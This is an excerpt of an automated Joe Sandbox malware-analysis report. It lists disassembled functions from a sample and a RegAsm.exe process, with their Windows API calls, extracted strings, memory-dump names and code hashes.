Opcode ID: e075dfb06673d7e0dd314ff4b70b54a148b004b6b1fea904ebc6fe5a0735f806
Instruction ID: 482a115448c27247831420abad07b271051aab58e7955c4e9af5f395e72475b1
Opcode Fuzzy Hash: e075dfb06673d7e0dd314ff4b70b54a148b004b6b1fea904ebc6fe5a0735f806
Instruction Fuzzy Hash: BA018B75A001299FD706EF20DC8597DBB76BF84750B1C400AE901973A2DF78AE42EB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FDA402 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00FDA3B3,00000000,00000000,?,?,?,?,00FDA4DD,00000002,FlsGetValue,00FF4CC8,FlsGetValue), ref: 00FDA40F
GetLastError.KERNEL32(?,00FDA3B3,00000000,00000000,?,?,?,?,00FDA4DD,00000002,FlsGetValue,00FF4CC8,FlsGetValue,00000000,?,00FD936D), ref: 00FDA419
LoadLibraryExW.KERNEL32(?,00000000,00000000,00FF4CC8,FlsGetValue,00000000,?,00FD936D), ref: 00FDA441

Strings

api-ms-, xrefs: 00FDA426

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 1dfc122b83600a7c821ab3a41038d13dd5a5feaa54d756dd1f027e14532b0f9d
Instruction ID: 51aee0eb7c9c7173614e9969c23bc84bbdde9879b039a4d2f300658a93b3f745
Opcode Fuzzy Hash: 1dfc122b83600a7c821ab3a41038d13dd5a5feaa54d756dd1f027e14532b0f9d
Instruction Fuzzy Hash: 84E04830640309BBDF305E61DC0AB193E59AF01B90F144021F94CEC1F5DBE6D851E68A

Uniqueness

Uniqueness Score: -1.00%

Function 00FE709F Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(6FA3B488,00000000,00000000,00000000), ref: 00FE7102

Part of subcall function 00FE8847: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00FE638F,?,00000000,-00000008), ref: 00FE88F3

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FE735D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00FE73A5
GetLastError.KERNEL32 ref: 00FE7448

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: c09174078c3dfd99accfea957791278fb1d9f01a00e65c515b5562ec9d8d77ce
Instruction ID: 059621914e28ae228a1c7992e1398bce90108afc84b50dcff36959dec6a34697
Opcode Fuzzy Hash: c09174078c3dfd99accfea957791278fb1d9f01a00e65c515b5562ec9d8d77ce
Instruction Fuzzy Hash: 24D188B5D043889FCF11DFA9D880AADBBB5FF08314F18452AE815EB351D730A942DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00FD93D1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00FD9498
___AdjustPointer.LIBCMT ref: 00FD94BB
___AdjustPointer.LIBCMT ref: 00FD9557

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 7d2a1696d83b644a84543c3be4def7c178c00fd608ba611f73f99065e153f55a
Instruction ID: 886ad5e010f63edf6eda01621004b83373d11f27c9c96ce4ff133270f8f0b861
Opcode Fuzzy Hash: 7d2a1696d83b644a84543c3be4def7c178c00fd608ba611f73f99065e153f55a
Instruction Fuzzy Hash: 3451C072A082069FDB259F94E851B7A73A6EF05320F1C812FE80597391E7B5EC41F790

Uniqueness

Uniqueness Score: -1.00%

Function 00FE8C63 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00FE8847: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00FE638F,?,00000000,-00000008), ref: 00FE88F3

GetLastError.KERNEL32 ref: 00FE8CC7
__dosmaperr.LIBCMT ref: 00FE8CCE
GetLastError.KERNEL32(?,?,?,?), ref: 00FE8D08
__dosmaperr.LIBCMT ref: 00FE8D0F

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e474d616a6df8e046131d5998953c23f4413ea81173d9e361e2994956814d074
Instruction ID: e5e06a6e32476e98413b9747579c50cb3773f3b00c50a03409fcb158420cbc12
Opcode Fuzzy Hash: e474d616a6df8e046131d5998953c23f4413ea81173d9e361e2994956814d074
Instruction Fuzzy Hash: 2F21F531A00655AFDB20BF67CC40D6BB7AAFF503A47248429F91D97240DF35EC01A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00FDF50B Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0016e20e090fbfe63388f9b502ea5aef45e43cb5503b59343741ea5e4ac00b6b
Instruction ID: d3c72c92030f5c24d61230e1f041c19355c0a84ffa5327e67597946d82a18ecc
Opcode Fuzzy Hash: 0016e20e090fbfe63388f9b502ea5aef45e43cb5503b59343741ea5e4ac00b6b
Instruction Fuzzy Hash: B0216F72600205AFDB20AF71AC40E6B77AAAF5036571C8537F81BD7351DB35ED05A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00FE9BF9 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00FE9C01

Part of subcall function 00FE8847: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00FE638F,?,00000000,-00000008), ref: 00FE88F3

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00FE9C39
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00FE9C59

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: fe70d0f0fa968a2b4a71dc9ac2c615508007d9e707b6ff84be77e3984f531954
Instruction ID: bcf56c112eafd7f15a578f6d617e3ab868897fa41ddc8a12517bf510768095a0
Opcode Fuzzy Hash: fe70d0f0fa968a2b4a71dc9ac2c615508007d9e707b6ff84be77e3984f531954
Instruction Fuzzy Hash: 2D11C8F29096DA7E672137BB5D8EC6F79DCED853E43210024FC05A6201FEA9DE016671

Uniqueness

Uniqueness Score: -1.00%

Function 00FD19D7 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FD19E3
int.LIBCPMT ref: 00FD19F6

Part of subcall function 00FD21B2: std::_Lockit::_Lockit.LIBCPMT ref: 00FD21C3
Part of subcall function 00FD21B2: std::_Lockit::~_Lockit.LIBCPMT ref: 00FD21DD

std::_Facet_Register.LIBCPMT ref: 00FD1A29
std::_Lockit::~_Lockit.LIBCPMT ref: 00FD1A3F

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 81c078cf0444e6c738a47559507dabcc5783bea54df6211fbbfa1215cf102af7
Instruction ID: cbb09848e633b0c42f2d4b730652f09b11914aff7a49b2aaba66ad3cb3f738f0
Opcode Fuzzy Hash: 81c078cf0444e6c738a47559507dabcc5783bea54df6211fbbfa1215cf102af7
Instruction Fuzzy Hash: 3801A732900118BBCB15ABA4DC459AD776AEF50720B29014BF501973D1EE389E41B7D5

Uniqueness

Uniqueness Score: -1.00%

Function 00FD1AC9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FD1AD5
int.LIBCPMT ref: 00FD1AE8

Part of subcall function 00FD21B2: std::_Lockit::_Lockit.LIBCPMT ref: 00FD21C3
Part of subcall function 00FD21B2: std::_Lockit::~_Lockit.LIBCPMT ref: 00FD21DD

std::_Facet_Register.LIBCPMT ref: 00FD1B1B
std::_Lockit::~_Lockit.LIBCPMT ref: 00FD1B31

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: e0c0f6f50d822396ce94e03f8bb6a95331557263834226f383d4c491c6cb5c4a
Instruction ID: f94c06038a9fcf4eb044fa5f6e6ff4843a8446e6ac88b006d7d7cde51ff9549b
Opcode Fuzzy Hash: e0c0f6f50d822396ce94e03f8bb6a95331557263834226f383d4c491c6cb5c4a
Instruction Fuzzy Hash: A5018F76900118ABCB15ABA4DD058ADB76BEF94760B18014BF9029B391FA34AE41F7C4

Uniqueness

Uniqueness Score: -1.00%

Function 00FD1A50 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FD1A5C
int.LIBCPMT ref: 00FD1A6F

Part of subcall function 00FD21B2: std::_Lockit::_Lockit.LIBCPMT ref: 00FD21C3
Part of subcall function 00FD21B2: std::_Lockit::~_Lockit.LIBCPMT ref: 00FD21DD

std::_Facet_Register.LIBCPMT ref: 00FD1AA2
std::_Lockit::~_Lockit.LIBCPMT ref: 00FD1AB8

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 8db486b7d0c65f27624b570aaf2ed4babd56acebdc796d5a56ce5084b1717c26
Instruction ID: c773bbe5e4e7ea5d810ccb60932b13d57ff430cc8187a026c019c7e2189d4885
Opcode Fuzzy Hash: 8db486b7d0c65f27624b570aaf2ed4babd56acebdc796d5a56ce5084b1717c26
Instruction Fuzzy Hash: 71018F32900118ABCB15AB64DD059AD776BBF90760B18024AF902973D1EF38AE41B7C0

Uniqueness

Uniqueness Score: -1.00%

Function 00FF02EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00FEF1AA,00000000,00000001,00000000,00000000,?,00FE749C,00000000,00000000,00000000), ref: 00FF0306
GetLastError.KERNEL32(?,00FEF1AA,00000000,00000001,00000000,00000000,?,00FE749C,00000000,00000000,00000000,00000000,00000000,?,00FE7A23,00000000), ref: 00FF0312

Part of subcall function 00FF02D8: CloseHandle.KERNEL32(FFFFFFFE,00FF0322,?,00FEF1AA,00000000,00000001,00000000,00000000,?,00FE749C,00000000,00000000,00000000,00000000,00000000), ref: 00FF02E8

___initconout.LIBCMT ref: 00FF0322

Part of subcall function 00FF029A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00FF02C9,00FEF197,00000000,?,00FE749C,00000000,00000000,00000000,00000000), ref: 00FF02AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00FEF1AA,00000000,00000001,00000000,00000000,?,00FE749C,00000000,00000000,00000000,00000000), ref: 00FF0337

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 01ad6c4d2eec0ac2f453adb5234537f12765727ec6bf5a084ec4520777986c2b
Instruction ID: 351419653593f0cda48843622965bfb971e41827e19a42a6d4a68a69254c7f98
Opcode Fuzzy Hash: 01ad6c4d2eec0ac2f453adb5234537f12765727ec6bf5a084ec4520777986c2b
Instruction Fuzzy Hash: 53F0AC36500258BBCF621F95DC089AA7F6AFF497B1B048050FA5D95232DA36C820FBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00FD90C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00FD90FF
__IsNonwritableInCurrentImage.LIBCMT ref: 00FD91B3

Strings

csm, xrefs: 00FD919D

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: f038b87bf238b8ba0fcd2079bda0201a7217f45f99c2f225277c0b6e0a627a02
Instruction ID: 788272e5b3e8e6af98724c81e8ee0f387126db7cfc97a77fe4f3040fa50f8944
Opcode Fuzzy Hash: f038b87bf238b8ba0fcd2079bda0201a7217f45f99c2f225277c0b6e0a627a02
Instruction Fuzzy Hash: 93412B34E04209ABCF10DFA9CC84AAE7BB6BF45324F188156E8145B392C775EA01EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FD99CD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00FD99F2

Strings

MOC, xrefs: 00FD9A04
RCC, xrefs: 00FD9A0C

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 8f69391b9685e755fa1db722abfec952e710a261567826f721ec65b96feae184
Instruction ID: 225ca3ac7c697e3a803d24f9d0fa456d47f27aa31a4393bf904b1792ed240c96
Opcode Fuzzy Hash: 8f69391b9685e755fa1db722abfec952e710a261567826f721ec65b96feae184
Instruction Fuzzy Hash: 5F414972904209AFCF16DFD8CC81AEEBBB6BF48314F18419AF905A7211D7B99950EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00FD1C4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FD1C53
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00FD1C8B

Part of subcall function 00FD4241: _Yarn.LIBCPMT ref: 00FD4260
Part of subcall function 00FD4241: _Yarn.LIBCPMT ref: 00FD4284

Strings

bad locale name, xrefs: 00FD1C99

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 058db68f65fc2bd1d155e72bdcc438d7c5ed8b139aa5651004aedc3791ebfa65
Instruction ID: 88d874c2c7fd17ed7142f0c3fc39a5aee6ae6131140d1cdf9e2f6d5f3d6c94b1
Opcode Fuzzy Hash: 058db68f65fc2bd1d155e72bdcc438d7c5ed8b139aa5651004aedc3791ebfa65
Instruction Fuzzy Hash: E6F030B1505B409E83349F7A9881457FBE4BE293103548E2FE1DEC3B11D734E504DB6A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 6676, Parent PID: 6652COMMON

Execution Graph

Execution Coverage:	15.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	433
Total number of Limit Nodes:	23

Executed Functions

Function 00422840 Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1114COMMON

Download Yara Rule

Strings

onqp, xrefs: 00422B06
20B, xrefs: 00423026
0B, xrefs: 004230D1
B5B, xrefs: 0042352E
$b, xrefs: 00423176
rv, xrefs: 0042317D
r0B, xrefs: 00422ED8, 0042305E

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: $b$20B$B5B$onqp$r0B$rv$0B
API String ID: 0-1944758922
Opcode ID: edff4b5e4e7c3aacf56abd3bbf51f38e1dfd669a515e0e6a589fdcf7a5fdc6b8
Instruction ID: 30c9691241a217a0d159b54bd45473d0addb90d6340fcc8710ec2b6a19cb58ed
Opcode Fuzzy Hash: edff4b5e4e7c3aacf56abd3bbf51f38e1dfd669a515e0e6a589fdcf7a5fdc6b8
Instruction Fuzzy Hash: 8E82ABB5600B00CFD724CF29D890B57B7E2FB89308F15896DD8AA8B791D778E906CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00431CAA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 00431D5E
GetSystemMetrics.USER32 ref: 00431D72
DeleteObject.GDI32 ref: 00431DDD
SelectObject.GDI32 ref: 00431E37
SelectObject.GDI32 ref: 00431ED1
DeleteObject.GDI32 ref: 00431F0E

Strings

, xrefs: 00431E9E

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: ce5221298d70a6d8bd71840225cdc3b079bb6b101e0ff014e643683a19389f87
Instruction ID: c1d4038cd4e9c09bb1cfdb71d03c6fd685851939a8da0fd308a8b4374489cc65
Opcode Fuzzy Hash: ce5221298d70a6d8bd71840225cdc3b079bb6b101e0ff014e643683a19389f87
Instruction Fuzzy Hash: ACA16CB8614B008FC364DF2CD981A16BBF1FB89704F10896DE99AC7760D771B844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 004279F5 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2RPJ, xrefs: 00427A01

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 2RPJ
API String ID: 0-955047986
Opcode ID: 6fe48aa669fb8cb35e40a0ece54005537d032e4d8a616d3258cad11b5ac2a25a
Instruction ID: 9d4cb991920f31e2a3602d43936c0be1b5d8e99185aeebb713fd4007471301d2
Opcode Fuzzy Hash: 6fe48aa669fb8cb35e40a0ece54005537d032e4d8a616d3258cad11b5ac2a25a
Instruction Fuzzy Hash: 6DE1C1702057518BD729CF28D060726FBF1BF9A304F68869DC4DA8B792D739E846CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00427059 Relevance: 3.7, APIs: 2, Instructions: 742COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 804f35b266dbb574133b141487b1538aa80bbd43e783cd2564efea3336da4334
